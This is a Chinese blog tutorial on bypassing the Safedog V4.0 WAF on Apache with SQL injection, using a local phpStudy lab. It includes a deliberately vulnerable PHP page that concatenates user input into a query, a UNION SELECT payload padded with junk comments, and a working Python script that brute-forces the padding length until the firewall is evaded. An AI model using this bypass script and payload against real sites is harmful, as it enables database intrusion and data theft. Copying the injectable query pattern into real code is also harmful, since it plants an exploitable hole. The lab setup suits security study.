SQL注入绕过安全狗V4.0(Apache)及POC利用

0x01 资源准备:

python3.7:python-3.7.4-amd64.exe

安全狗安装包:safedogwzApache.exe (截至10月2号官网上下的apche v4.0最新版)

phpStutdy集成环境:phpStudy_64.7z

0x02 环境准备:

python3 requests库

使用pip install requests安装

SQL注入绕过安全狗V4.0(Apache)及POC利用
SQL注入绕过安全狗V4.0(Apache)及POC利用

安全狗V4.0

SQL注入绕过安全狗V4.0(Apache)及POC利用

这里要把安全狗的cc攻击防护关了。

SQL注入绕过安全狗V4.0(Apache)及POC利用

0x03靶场数据库准备:

可以在phpstudy上安装phpmyadmin便于数据库可视化操作

SQL注入绕过安全狗V4.0(Apache)及POC利用

然后创建test数据库并创建users表

SQL注入绕过安全狗V4.0(Apache)及POC利用


0x04 靶机代码:


<?php
$db_host = 'localhost';
$db_name = 'root';
$db_user = 'root';
$db_pwd = '123456';
 
//面向对象方式
$mysqli = new mysqli($db_host, $db_user, $db_pwd);
//面向对象的昂视屏蔽了连接产生的错误,需要通过函数来判断
if(mysqli_connect_error()){
    echo mysqli_connect_error();
}

//设置编码
$mysqli->set_charset("utf8");//或者 $mysqli->query("set names 'utf8'")
echo "连接成功";
 
mysqli_select_db($mysqli,'test');
$id=$_REQUEST['id'];
$query="SELECT * FROM users WHERE id =$id";
$result=mysqli_query($mysqli,$query);
while($row=mysqli_fetch_array($result,MYSQLI_NUM))
{
echo $row[0]." ".$row[1];
echo "<br />";
}
echo "<br />";
echo $query;
 
//关闭连接
$mysqli->close();
?>

这里用该代码测试下连接数据库结果

SQL注入绕过安全狗V4.0(Apache)及POC利用

0x05 开始注入:

SQL注入绕过安全狗V4.0(Apache)及POC利用

经测试发现常规的注入方式会被拦截

因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理

get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符并检测是否绕过waf,我们的payload  1 /*无用的字符*/  union select user(),2

附上混淆字符绕过的poc代码:

import requests
url = "http://192.168.120.246/zr.php"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
}
try:
    for i in range(1,2999):
        st = "/*"+"ABC"*i+"*/ union select user(),2"
        data={
             "id":"1 %s " %st
            }
        print(i)
        res= requests.post(url,headers=headers,data=data).text
        print(data)
        print(res)
        if res.find("jiangzhiqiang")!=-1:
            print(i)
            break
except:
    print('终止执行')

运行结果,在ABC*2562的时候成功了绕过了安全狗结果。

SQL注入绕过安全狗V4.0(Apache)及POC利用

这里也可以看下如果没有绕过狗的res的内容

SQL注入绕过安全狗V4.0(Apache)及POC利用

将payload放在burp上验证下:

这里的burp注意是post请求方式,可以通过抓包抓到get请求的包放到Repeat下,然后右键change request method来更改成post请求

SQL注入绕过安全狗V4.0(Apache)及POC利用

0x06:搭建靶场的踩坑点:

a.直接使用ABC*2562这个payload对于返回的请求包如果是500error或者internet server error当时以为是我的服务配置问题,没想到再加几十个ABC进去后,就绕过了waf,具体怎么解析internet server error希望有看到这篇文章的大佬指点下

b.mysql连接的方式是mysqli,然后为了php代码可以用这种方式连接数据库,需要在php.ini这个配置文件里添加extension=php_mysqli.dll这个字符串

SQL注入绕过安全狗V4.0(Apache)及POC利用

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容